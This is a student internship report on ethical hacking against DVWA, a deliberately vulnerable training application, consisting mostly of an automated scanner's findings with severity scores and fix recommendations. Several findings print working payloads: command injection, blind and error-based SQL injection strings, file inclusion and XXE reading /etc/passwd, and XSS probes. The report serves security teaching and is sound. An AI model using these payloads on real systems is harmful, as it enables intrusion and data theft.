DVWA Web Application Project Report

Submitted for the 6-week summer internship

On

Cyber Security and Ethical Hacking

(from 29th May, 2023 to 7th July, 2023)

Organised by:

IT Department, IGDTUW

Submitted by:

Teeya Ojha

Enrollment number:

17001012021

Indira Gandhi Delhi Technical University for Women

Abstract

Web Applications are subject to threats as they tend to be vulnerable. This project will focus on various web application vulnerability detection and attempting to exploit them as well. The main goal will be identifying and utilising some tools to perform penetration testing on publicly available vulnerable websites.

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications, and aid both students & teachers in learning about web application security in a controlled classroom environment.

DVWA Welcome Page

Introduction

A web application comprises several components that need a systematic approach to perform penetration testing. Hence, various steps that need to be followed to exploit web applications according to the web application hacker's methodology will be:

- **Information Gathering and Enumeration-** The information gathering and enumeration of the vulnerabilities have been illustrated using the Wmap tool on the damn vulnerable web application to exploit this webpage.
- **Input-based issues and issues with specific functionality detection-** The issues related to input can be command injection, and Brute force attacks have also been observed on this website. Meanwhile, SQL injection focuses explicitly on the attacks on the database.
- **Logical vulnerability detection-** Logical concepts for detecting vulnerabilities have been used in all the exploits, which makes one aware of the exploit implementation possibility and related risks.
- **Authentication, session management and access control vulnerabilities detection-** Authentication bypass and session hijacking come under this category.
- **Miscellaneous and Information Leakage Tests-** The Cross-site scripting recipes and the last unvalidated redirects and forwards exploit formula highlights this category of attacks.

In order to perform the above-mentioned procedure to execute penetration testing, the use of publicly available vulnerable applications will be used as the main goal is to learn about the whole process to make the information secure and not to make them able to attack the web applications.

Problem Statement

Indira Gandhi Delhi Technical University for Women

Kashmere Gate, Delhi 110006

Department of IT

Six Week Summer Internship on

"Ethical Hacking and Cyber Security"

29th May 2023 to 07th July 2023

Ethical Hacking Project:

Ethical Hacking and Penetration testing can be defined as a legal and authorized attempt to locate and successfully exploit computer systems for the purpose of making those systems more secure. The process includes probing for vulnerabilities as well as providing proof of concept (POC) attacks to demonstrate the vulnerabilities are real. Proper penetration testing always ends with specific recommendations for addressing and fixing the issues that were discovered during the test.

As a project you are required to select one of the following open source web application (available at https://owasp.org/www-project-vulnerable-web-applications-directory) for performing the Ethical Hacking and Penetration Testing:

1. DVWA
2. WebGoat
3. bWapp
4. Bricks
5. CVWA - Conviso Vulnerable Web Application
6. OWASP Juice Shop

You are required to perform the following tasks as a part of the project:

1. **Reconnaissance (**Open Source Intelligence Gathering)
   - **a)** Tools: netcraft, who is, ns lookup, Maltego, Shodan, Google search engine
     - **a.** Identify IP address, host server, Domain Registrar, Reverse DNS, OS installed on Web Server, Technology used , Mail Exchange server, email Ids
   - b) Port Scanning: Using netcat, nmap, nessus
     - a. Identify open ports
     - b. Perform UDP Scan, TCP Scan, Full Scan, Half Scan, Xmas Tree Scan, Fin Scan, NULL Scan, ACK Scan, UDP Scan
     - c. Determine the frame size on the network

d. Find information about the path that traffic is taking from the local host to the remote host.
e. Identify the remote shares, audits their permissions, and lists the files included in the share
f. Draw a network diagram mapping various network devices.

2. **Finding Vulnerabilities (Tools: SQL Map)**
   a) Identify Database SQL version,
   b) Find Username and password of the database.
   c) Find names of database, tables, columns and information schema of the database running on web-application
   d) Delay the searching from the database using sleep() command
   e) Dump all data from database in a .sql file
   f) Delete database, table or one column
   g) Reset passwords and mobile numbers of all users to 'Junk'
   h) Identify directory structure of the server
   i) Create multiple random files and folders.
   j) Get file etc/password
3. **Password Cracking**
   a) Extract the password hashes and make our own file to save them into, which will be used by John the Ripper to scan and extract out the hash values for cracking purposes.
   b) Use a wordlist to aid cracking time and reduce it significantly in terms of how long it would take to break the hash values through a brute force attack.
4. **Defacing a website**
   a) Inject Script to show multiple alert boxes, input boxes, prompt
   b) Inject a Script to deface the website by changing the background image

5. **Rectify the code**, and server policies to ensure the above attacks are prevented.

Important Notes

1) The students are required to complete the project latest by 03rd July 2023 and submit the report on the eLMS Portal.
2) The project should be undertaken in a team/ group consisting of maximum 4 students.
3) One Web Application as mentioned above can be allocated maximum to the two teams/ groups on first cum first serve basis.
4) Student must inform their team along-with the choice of the project latest by 28th June 2023 (01:00 pm) failing which the group / team will be constituted alongwith allocation of the project by co-ordinator of the Internship Program. https://docs.google.com/spreadsheets/d/1Ez5Rp2Tjw1Y_lmd1ixlQoOPS4Hw3T10A2jEvilGp65M/edit?usp=sharing

5) It is mandatory to submit the project report for the issue of certificate for completion of Internship Program.

Installation and set-up

DVWA is a web application coded in PHP that uses a MySQL back-end database. DVWA needs a web server, PHP and MySQL installed in order to run. The easiest way to install DVWA is to download and install 'XAMPP'. XAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin. XAMPP can be downloaded from: http://www.apachefriends.org/en/xampp.html

DVWA default username = admin
DVWA default password = password

Windows: Once you have downloaded and installed XAMPP place the uncompressed DVWA folder in your Apache htdocs folder. Normally located at 'C:\XAMPP\htdocs'. DVWA should now be accessible from your browser at http://127.0.0.1/dvwa .

Linux: Once you have downloaded and installed XAMPP place the uncompressed DVWA folder in your Apache htdocs folder. Normally located at '/opt/lampp/htdocs'. Start Apache with the following command; 'sudo /opt/lampp/lamp start'. DVWA should now be accessible from your browser at http://127.0.0.1/dvwa .

DVWA accessible from the kali virtual machine.

Overview

Based on our testing, we identified 47 vulnerabilities. Here we have classified them based on their severity, exploitability and the harm they can cause.

Criterion of classification:

STATE	DESCRIPTION	BASE SCORE
CRITICAL	These findings are very critical whilst posing an immediate threat. Fixing these issues should be the highest priority, regardless of any other issues.	9 - 10
HIGH	Findings in this category pose an immediate threat and should be fixed immediately.	7 - 8.9
MEDIUM	Medium findings may cause serious harm in combination with other security vulnerabilites. These findings should be considered during project planning and be fixed within short time.	4 - 6.9
LOW	Low severity findings do not impose an immediate threat. Such findings should be reviewed for their specific impact on the application and be fixed accordingly.	0.1 - 3.9
INFO	Informational findings do not pose any threat but have solely informational purpose.	0

Project Data

GENERAL	
Target Type	Multipage
Project URL	dvwa-login.test.crashtest.cloud
Scope	Full Scan
Crawler Mode	Exhaustive Crawling
Throttling Limit	200
Max Scan Duration	Unlimited
Max Crawl Duration	Unlimited

HTTP BASIC AUTHENTICATION	
Username	test
Password	t****

ROLE BASED AUTHENTICATION
ADMIN USER

APPLICATION AUTHENTICATION	
Login URL	https://dvwa-login.test.crashtest.cloud/login.php
Username	admin
Password	Te*********

PARAMETER AUTHENTICATION	
HTTP Header	
Key	test
Value	t****

Basic Architecture

File information

Filename: DVWA-1.0.7.iso
File size: 480 MB
MD5: 9484D8E2154D4E01FBD742CD7C10AFFD
SHA1: E190DE8F6BC61D6596F21A8A6A9DA9E19DA3C0BF

Virtual Machine

Format: Disk Image (.ISO)
Operating System: Linux

Networking

DHCP service: Enabled
IP address: Automatically assign

Findings

PORTSCAN

STATE	FINDING RESULT
0.0	Found open port "443/tcp" with service name "Apache httpd"
0.0	Found open port "80/tcp" with service name "Apache httpd"

COMMAND INJECTION

STATE	FINDING RESULT
9.8	Found command injection in POST parameter 'ip' for URL 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/exec/', with payload '; echo crashtest-security$((12*12))'

DESERIALIZATION

STATE	FINDING RESULT
8.1	Found insecure deserialization in GET parameter 'data' for URL 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/deserialize/', with payload 'phpinfo();'

FILE INCLUSION

STATE	FINDING RESULT
9.8	Found file inclusion in GET parameter 'page' for URL 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/fi/.', with payload '/etc/passwd'

SQL INJECTION

STATE	FINDING RESULT
9.1	Found boolean-based blind sqlinjection in GET parameter "id" for URL "https://dvwa-login.test.crashtest.cloud/vulnerabilities/sqli_blind/", with payload "Submit=Submit&id=xyz' AND 9569=9569 AND 'EpSm'='EpSm"
9.1	Found error-based sqlinjection in GET parameter "username" for URL "https://dvwa-login.test.crashtest.cloud/vulnerabilities/brute/", with payload "Login=Login&password=Crashtest123!&username=xyz' AND (SELECT 6887 FROM(SELECT COUNT(*),CONCAT(0x7176707871,(SELECT (ELT(6887=6887,1))),0x7178707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'yKrN'='yKrN"

SSL/TLS

STATE	FINDING RESULT
4.3	BEAST TLS1: The BEAST attack leverages weakness in the cipher block chaining (CBC) which allows man in the middle attacks.
7.4	The SSL certificate expires on 2021-09-09 09:07. This is less than 30 days.
4.3	VULNERABLE – but also supports higher protocols TLSv1.1 TLSv1.2 (likely mitigated)
5.9	64 bit block ciphers are used which are vulnerable to SWEET32 birthday attack. 3DES ciphers should be disabled.
4.8	The cipher that got negotiated (ECDHE-RSA-RC4-SHA, 256 bit ECDH (P-256) (matching cipher in list missing)) could not be found in the list of ciphers that the server advertised
4.3	The detected cipher uses the encryption algorithm RC4 which is vulnerable for various attacks
8.2	SSLv3 is offered by the server. SSLv3 is insecure and should not be used. TLS 1.2 or TLS 1.3 should be used instead.

STATE	FINDING RESULT
8.2	TLS 1.1 is offered by the server. This version of TLS is deprecated. You should use TLS 1.2 or TLS 1.3
8.2	TLS 1.0 is offered by the server. This version of TLS is deprecated. You should use TLS 1.2 or TLS 1.3
7.4	Neither CRL nor OCSP URI provided
4.8	Weak signature algorithm MD5 is used. You should use SHA-256, SHA-384 or SHA-512 instead
4.8	There is no cipher order configured. There should be a cipher order from strongest to weakest to prevent clients from using weaker ciphers before trying stronger ones first.
3.7	LOGJAM vulnerability detected CVE-2015-4000
3.7	The server is configured to use average ciphers like SEED + 128+256 Bit CBC ciphers (AES, CAMELLIA and ARIA) which are deprecated
3.1	BEAST SSL3: The BEAST attack leverages weakness in the cipher block chaining (CBC) which allows man in the middle attacks.
3.1	The detected SSL version is vulnerable to SSL POODLE
7.4	There is no subject alt name defined. Browsers are complaining.

STATE	FINDING RESULT
7.4	The CN or SAN in the certificate does not match the tested URL
4.8	The certificate key size is RSA 1024 bits.
7.4	Low ciphers like DES, RC2, RC4 are used by the server. You should use a stronger cipher.
7.4	Cipher suits based on DES (Data Encryption Standard) and IDEA (International Data Encryption Algorithm) are not recommended for general use in TLS. In TLS 1.2 and TLS 1.3 DES and IDEA are removed. You should use TLS 1.2 or TLS 1.3.

HTTP HEADER

STATE	FINDING RESULT
6.5	The X-Frame-Options header is not set for URL https://dvwa-login.test.crashtest.cloud.
6.5	The Content-Security-Policy header is not set for URL https://dvwa-login.test.crashtest.cloud.
4.8	The Strict-Transport-Security (HSTS) header is not set for URL https://dvwa-login.test.crashtest.cloud.
4.3	The Referrer-Policy header is not set for URL https://dvwa-login.test.crashtest.cloud.
4.3	The X-Content-Type-Options header is not set for URL https://dvwa-login.test.crashtest.cloud.

FINGERPRINTING

STATE	FINDING RESULT
5.3	Found PHP running in version 5.5.9. (**203** connected CVE issues have been found. The most severe vulnerability has a CVSS score of critical (10/10). See Appendix **PHP 5.5.9 CVE FINDINGS** for a detailed list of the CVEs)
5.3	The webserver is running Apache 2.4.7 (**34** connected CVE issues have been found. The most severe vulnerability has a CVSS score of high (7.5/10). See Appendix **APACHE 2.4.7 CVE FINDINGS** for a detailed list of the CVEs)

XSS

STATE	FINDING RESULT
6.1	Found possible XSS vulnerability on site 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/xss_r/'. The GET parameter 'name' seems vulnerable for payload '<svg a2ff8c19-293a-435d-8e55-29c04f7e0658 "ons>'
6.1	Found possible XSS vulnerability on site 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/deserialize/'. The GET parameter 'data' seems vulnerable for payload '<svg a910bd8c-8f93-48f9-b011-1f45cfc4b8a5 "ons>'
6.1	The potentially vulnerable code was found on url 'https://dvwa-login.test.crashtest.cloud/ids_log.php'. An attacker may be able to inject JavaScript using the the code 'window.name' at line 42:188 and control its display using the code 'eval' at line 42:183
6.1	The potentially vulnerable code was found on url 'https://dvwa-login.test.crashtest.cloud/security.php'. An attacker may be able to inject JavaScript using the the code 'window.name' at line 69:34 and control its display using the code 'eval' at line 69:29

FUZZER

STATE	FINDING RESULT
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/setup.php by using a GET request on the URL without prior knowledge.
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/.git/ by using a GET request on the URL without prior knowledge.

STATE	FINDING RESULT
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/CHANGELOG.md by using a GET request on the URL without prior knowledge.
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/docs/ by using a GET request on the URL without prior knowledge.
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/config/ by using a GET request on the URL without prior knowledge.
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/README.md by using a GET request on the URL without prior knowledge.
5.3	Retrieved https://dvwa-login.test.crashtest.cloud/php.ini by using a GET request on the URL without prior knowledge.

XXE

STATE	FINDING RESULT
9.4	Found XXE in GET parameter 'xml' for URL 'https://dvwa-login.test.crashtest.cloud/vulnerabilities/xxe/', with payload '<?xml version='1.0' encoding='utf-8'?> <!DOCTYPE creds [<!ELEMENT user ANY > <!ELEMENT pass ANY > <!ENTITY user SYSTEM 'file:///etc/passwd'>]> <creds><user>%26user;</user><pass>%26user;</pass></creds>'

Top 10 Web Application Security Risks (2021)

A01:2021-Broken Access Control Access Control ensures that users can only act within their assigned authorisations. Failures commonly result in unauthorised information disclosure, modification, or destruction of all data or conducting a business position outside the user's limits.
A02:2021-Cryptographic Failures First, the need for data protection, both during transmission and at rest, must be determined. Here, passwords, credit card numbers, health data, personal information, and trade secrets, among others, require additional safety, especially when this data falls under data protection laws (f. E. GDPR) or regulations (f. E. PCI DSS).
A03:2021-Injection The concept is the same for all types of injections. These types include popular injections like SQL, NoSQL, OS command, ObjectRe- lationalMapping(ORM), LDAP, and ExpressionLanguage(EL) or Object Graph Navigation Library (OGNL) injection.
A04:2021-Insecure Design While Insecure Design is a broad category and represents many different vulnerabilities, referred to as "missing or ineffective control design." However, it is not the root cause of all OWASP top 10 risks. Instead, it is distinguished between Insecure Design and Insecure Implementation - and not without reason. That is because design and implementation deficiencies have different causes and mitigation measures. Imple- mentation defects can also occur with secure design. That, in turn, can lead to vulnerabilities that can be exploited. However, an insecure design cannot be fixed by a perfect implementation. The required security controls were not created to defend against specific attacks. However, what can lead to Insecure Design is the failure to create a business risk profile for the software or system being developed. Thus, it is impossible to determine what security design level is required.
A05:2021-Security Misconfiguration Security Misconfiguration can occur at any stage of an application stack. It includes network services, the platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage.
A06:2021-Vulnerable and Outdated Components third-party tools used in the software could be Vulnerable and Out-dated Components. These tools should be updated regularly to pre- vent attacks on the web application. Not updating them can lead to attacks from malicious users

by exploiting known vulnerabilities.

A07:2021-Identification and Authentication Failures To protect against authentication-related attacks, the user's identity, authentication, and session management must be confirmed.

A08:2021-Software and Data Integrity Failures When applications rely on plug-ins, libraries, or modules from untrusted sources, repositories, and content delivery networks, they are software and data integrity failures. These refer to code and infrastructure that do not protect against integrity violations.

A09:2021-Security Logging and Monitoring Failures Security Logging and Monitoring Failures is a category designed to help detect, escalate, and respond to security breaches that are actively occurring. It should be noted that without monitoring and logging, breaches will not be detected.

A10:2021-Server-Side Request Forgery Once web applications retrieve a remote resource without checking the URL provided by the user, SSRF vulnerabilities can occur. Using this attack, an attacker can force the application to send manipulated requests to unexpected destinations. This can happen even if it is pro tected by a firewall, VPN or other type of network access control. Retrieval of a URL occurs on a daily basis as modern web applications provide convenience to end users. As a result, SSRF attacks are on the rise.

Vulnerability Findings

SSL/TLS

What is this?

Transport Layer Security (TLS), more widely known by its predecessor Secure Sockets Layer (SSL), is a hybrid encryp- tion protocol for secure data transmission over the Internet. It encrypts the communication between server and client. The most obvious part of it is HTTPS, with which providers can secure all communications between their servers and web browsers. This ensures that valuable information like usernames, passwords and credit card information can- not be stolen by someone analyzing the network traffic. The “S” in HTTPS stands for SSL. For secure connection with HTTPS a certificate is needed. Those certificates offer different levels of security and have a fixed start- and expiration-date. To ensure a secure connection, webservers must use well configured certificates. With some mis- configured certificates it is possible to bypass the encryption, others may be blocked by web browsers because they are outdated or unknown.

SSL Cipher Block Chaining TLS1

Severity	
Base Score:	medium (4.3/10)
Impact:	low (2.9/10)
Exploitability:	high (8.6/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The webserver is configured to allow connections encrypted with TLS V1 in Cipher Block Chaining Mode (CBC). Connections using this settings contain predictable information that allow an attacker to break the encryption using the BEAST attack.

Finding: + BEAST TLS1: The BEAST attack leverages weakness in the cipher block chaining (CBC) which allows man in the middle attacks.

How to fix: The webserver needs to be configured to use strong and trusted certificates. In addition they need to be configured to use the newest version of SSL and TLS as well as strong cipher suites. More details on how to configure these certificates can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/secure-tls-configuration

Certificate Expiration Problem

Severity	
Base Score:	high (7.4/10)
Impact:	medium (5.2/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The domain certificate is expired or will expire very closely. To guarantee secure connections between the users and the webserver, request a newly signed certificate with your certificate authority.

Finding: + The SSL certificate expires on 2023-08-09 09:07. This is less than 30 days.

How to fix: The certificate is close to its expiration date or already expired and has to be renewed/regenerated. For OpenSSL certificates a ”certificate signing request” can be created. For ”Let’s Encrypt” certificates one can simply renew them by using the certbot. More details on the exact commands can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/renew-tls-certificates

SSL BEAST

Severity	
Base Score:	medium (4.3/10)
Impact:	low (2.9/10)
Exploitability:	high (8.6/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is vulnerable for BEAST (Browser Exploit Against SSL/TLS) attacks. By using weaknesses in cipher block chaining, an attacker can use a Man-In-The-Middle attacks todecrypt and obtain authentication tokens.

Finding: + VULNERABLE – but also supports higher protocols TLSv1.1 TLSv1.2 (likely mitigated)

How to fix: BEAST attacks can be prevented by ensuring, that neither SSLv3 nor TLSv1 are used. More details on how to fix this problem can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/prevent-ssl-beast

SSL SWEET32

Severity	
Base Score:	medium (5.9/10)
Impact:	low (3.6/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server uses short block sizes, which makes it vulnerable to hit the same hash for multiple inputs. By observing the data for a longer period of time, an attacker can recover secure HTTP cookies.

Finding: + 64 bit block ciphers are used which are vulnerable to SWEET 32 birthday attack. 3DES ciphers should be disabled.
How to fix: SWEET32 attacks can be prevented by using cipher suites with large block sizes. More details on what block sizes are considered large enough can be found in the knowledge database (see

Recommendations)
Recommendations:
https://wiki.crashtest-security.com/prevent-ssl-sweet32

TLS Configuration

Severity	
Base Score:	medium (4.8/10)
Impact:	low (2.5/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: There is a misconfiguration with your SSL/TLS configuration. SSL/TLS is responsible for encrypting traffic between your web application and a user's browser to prevent eavesdropping.

Finding: + The cipher that got negotiated (ECDHE-RSA-RC4-SHA, 256 bit ECDH (P-256) (matching cipher in list missing)) could not be found in the list of ciphers that the server advertised.

How to fix: The webserver needs to be configured to use strong and trusted certificates. In addition they need to be configured to use the newest version of SSL and TLS as well as strong cipher suites. More details on how to configure these certificates can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/secure-tls-configuration

SSL RC4

Severity	
Base Score:	medium (4.3/10)
Impact:	low (2.9/10)
Exploitability:	high (8.6/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server supports RC4 (Rivest Cipher 4), which is a cipher stream that is considered insecure due to multiple known vulnerabilities.

Finding: + The detected cipher uses the encryption algorithm RC4 which is vulnerable for various attacks.

How to fix: Rivest Cipher 4” is considered insecure as there are multiple known vulnerabilities for it. It is recommended to replace the cipher with a strong encryption algorithm. More details on which ciphers to choose, can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/disable-ssl-rc4

SSL Protocol Version

Severity	
Base Score:	high (8.2/10)
Impact:	medium (4.2/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: A SSL/TLS version offered by the server is outdated. The deprecated versions contain weak implementations that cannot be considered as secure anymore. Please use TLS 1.2 or TLS 1.3 instead.

Finding: +SSLv3 is offered by the server. SSLv3 is insecure and should not be used. TLS 1.2 or TLS 1.3 should be used instead.
+ TLS 1.1 is offered by the server. This version of TLS is deprecated. You should use TLS 1.2 or TLS 1.3
+ TLS 1.0 is offered by the server. This version of TLS is deprecated. You should use TLS 1.2 or TLS 1.3

How to fix: The webserver is using a deprecated SSL/TLS version and needs to be updated. The webserver needs to be configured to use strong and trusted certificates. In addition they need to be configured to use the newest version of SSL and TLS as well as strong cipher suites. More details on how to configure these certificates can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/disable-deprecated-ssl-protocol-versions

Certificate Revocation

Severity	
Base Score:	high (7.4/10)
Impact:	medium (5.2/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The webserver is badly configured regarding revoked certificates. Certificate Revocation Lists (CRLs) and the Online Certificate Status Protocol (OCSP) make sure, that users can verify the integraty of a server certificate.

Finding: + Neither CRL nor OCSP URI provided

How to fix: The webserver is badly configured regarding revoked certificates. Certificate Revocation Lists (CRLs) and the Online Certificate Status Protocol (OCSP) make sure, that users can verify the integrity of a server certificate. If the certifi- cate is compromised, these techniques allow the user, respectively the used certificate authority (CA) to revoke the compromised certificate. Therefore one can issue a new (valid) certificate and the compromised certificate (used by an attacker) will produce warnings when a user accesses their website. OCSP is the newer method to revoke cer- tificates, as it allows certificate authorities to revoke certificates much faster without the need to update complete revocation lists potentially containing thousands of certificates. More details on how to enable OCSP can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/renew-tls-certificates

SSL Insecure Algorithm

Severity	
Base Score:	medium (4.8/10)
Impact:	low (2.5/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The used encryption algorithm has severe security issues.

Finding: +Weak signature algorithm MD5 is used. You should use SHA-256, SHA-384 or SHA-512 instead

How to fix: One of the used encryption algorithms has severe security issues and needs to be replaced with a newer algorithm. More details on which cipher suites have strong encryption algorithms can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/disable-ssl-insecure-algorithm

SSL Cipher Order

Severity	
Base Score:	medium (4.8/10)
Impact:	low (2.5/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: There is no cipher order for HTTPS ciphers set or the cipher order includes an insecure cipher. This means, that an attacker can make use of an insecure SSL/TLS connection.

Finding: +There is no cipher order configured. There should be a cipher order from strongest to weakest to prevent clients from using weaker ciphers before trying stronger ones first.

How to fix: There is no cipher order for HTTPS ciphers set or the cipher order includes an insecure cipher. This means, that an attacker can make use of in insecure SSL/TLS connection. In the SSL/TLS configuration, the allowed ciphers and their order should be set to match secure values. More details on how to set these values can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/configure-ssl-cipher-order

SSL LOGJAM Common Primes

Severity	
Base Score:	low (3.7/10)
Impact:	low (1.4/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is vulnerable for LOGJAM, a security vulnerability against a Diffie-Hellman key exchange using 512 to 1024 bit keys. The algorithm uses in most cases the same pregenerated prime numbers which makes it way easier (and cheaper) to crack such an encryption.

Finding: +LOGJAM vulnerability detected CVE-2015-4000

How to fix: LOGJAM attacks can be prevented by using strong ciphers and avoiding weak primes. More details on what ciphers are considered strong can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/prevent-ssl-logjam

SSL Cipherlist AVERAGE

Severity	
Base Score:	low (3.7/10)
Impact:	low (1.4/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is configured to support average Ciphers like SEED + 128+256 Bit CBC ciphers (AES, CAMELLIA and ARIA). This means, that an attacker can make use of an insecure SSL/TLS connection.

Finding:
+Theserverisconfiguredtouseaverageciphers likeSEED+128+256BitCBC ciphers(AES, CAMELLIA and ARIA) which are deprecated.

How to fix: The list of supported HTTPS ciphers includes insecure ciphers. This means that an attacker can make use of an insecure SSL/TLS connection. In the SSL/TLS configuration, the allowed ciphers and their order should be set to match secure values. More details on how to set these values can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/secure-tls-configuration

SSL Cipher Block Chaining SSL3

Severity	
Base Score:	low (3.1/10)
Impact:	low (1.4/10)
Exploitability:	low (1.6/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The webserver is configured to allow connections encrypted with SSL V3 in Cipher Block Chaining Mode (CBC). Connections using this settings contain predictable information that allow an attacker to break the encryption using the BEAST attack.

Finding: +BEAST SSL3: The BEAST attack leverages weakness in the cipher block chaining (CBC) which allows man in the middle attacks.

How to fix: The webserver is using a deprecated SSL/TLS version and needs to be updated. The webserver needs to be configured to use strong and trusted certificates. In addition they need to be configured to use the newest version of SSL and TLS as well as strong cipher suites. More details on how to configure these certificates can be found in the knowledge database (see Recommendations)More details on how to fix this problem can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/disable-deprecated-ssl-protocol-versions

SSL POODLE

Severity	
Base Score:	low (3.1/10)
Impact:	low (1.4/10)
Exploitability:	low (1.6/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is vulnerable for POODLE (Padding Oracle On Downgraded Legacy Encryption) attacks. With the Man-In- The-Middle attack using the SSL 3.0 Fallback, an attacker can expose data of encrypted connections.

Finding: +The detected SSL version is vulnerable to SSL POODLE

How to fix: POODLE attacks can be prevented by ensuring that TLS_FALLBACK_SCSV is enabled and a secure TLS configuration is used. More details on how to enable TLS_FALLBACK_SCSV and which configurations are secure, can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/prevent-ssl-poodle

SSL Trust

Severity	
Base Score:	high (7.4/10)
Impact:	medium (5.2/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The X.509 certificate issued for this domain cannot be trusted. Clients such as browsers will show warnings or not be able to connect if they cannot trust the certificate. Trust issues arise if the common name in the certificate does not match the webserver domain or if the certificate is self-signed.

Finding: +There is no subject alt name defined. Browsers are complaining.
+ The CN or SAN in the certificate does not match the tested URL

The issued certificate is not consistent with the domain that delivered the certificate. To issue a trusted certificate, the certificate needs to contain the correct information for the web application such as the domain name as common name of the certificate. The certificate must be signed by a certificate authority (CA) that the users' browser trust. The webserver has then to be configured to present the certificate on incoming https requests. Guides on how to generate and use a trusted certificate can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/configure-trusted-certificates

TLS Key Size

Severity	
Base Score:	medium (4.8/10)
Impact:	low (2.5/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The security of a TLS connection heavily depends on the used keysize. The server offers a keysize which will result in a weak encryption.

Finding: + The certificate key size is RSA 1024 bits.
How to fix: The used TLS connection key is too small and therefore can be easily broken. This can be solved by choosing a certificate with a larger key size. More details on which certificates to choose can be found in the knowledge database (see Recommendations)
Recommendations:
https://wiki.crashtest-security.com/increase-tls-key-size

SSL Cipherlist LOW

Severity	
Base Score:	high (7.4/10)
Impact:	medium (5.2/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is configured to support low Ciphers like ”LOW:DES:RC2:RC4”. This means, that an attacker can make use of an insecure SSL/TLS connection.

Finding: + Low ciphers like DES, RC2, RC4 are used by the server. You should use a stronger cipher.

How to fix: The list of supported HTTPS ciphers includes insecure ciphers. This means, that an attacker can make use of in insecure SSL/TLS connection. In the SSL/TLS configuration, the allowed ciphers and their order should be set to match secure values. More details on how to set these values can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/secure-tls-configuration

SSL Cipherlist 3DES IDEA

Severity	
Base Score:	high (7.4/10)
Impact:	medium (5.2/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server is configured to support 3DES and IDEA Ciphers like ”3DES:IDEA”. This means, that an attacker can make use of an insecure SSL/TLS connection.

Finding: + Cipher suits based on DES (Data Encryption Standard) and IDEA (International Data Encryption Algorithm) are not recommended for general use in TLS. In TLS 1.2 and TLS 1.3 DES and IDEA are removed. You should use TLS 1.2 or TLS 1.3.

How to fix: The list of supported HTTPS ciphers includes insecure ciphers. This means, that an attacker can make use of in insecure SSL/TLS connection. In the SSL/TLS configuration, the allowed ciphers and their order should be set to match secure values. More details on how to set these values can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/secure-tls-configuration

HTTP Header

What is this?

When visiting a website the response from the server will include HTTP response headers. These headers tell the browser how to behave while the user is interacting with the website. Modern browsers support a variety of security headers, which are part of the HTTP response headers. This scanner will check if the recommended security headers are set and will also verify if the headers are configured securely.

X-Frame-Options Header

Severity	
Base Score:	medium (6.5/10)
Impact:	low (3.6/10)
Exploitability:	low (2.8/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The X-Frame-Options header declares whether this site may be embedded as a frame into other websites. If this header is not configured correctly, your application can be embedded into third-party websites, which makes it vulnerable to clickjacking attacks.

Finding: + The X-Frame-Options header is not set for the URL https://dvwa-login.test.crashtest.cloud.

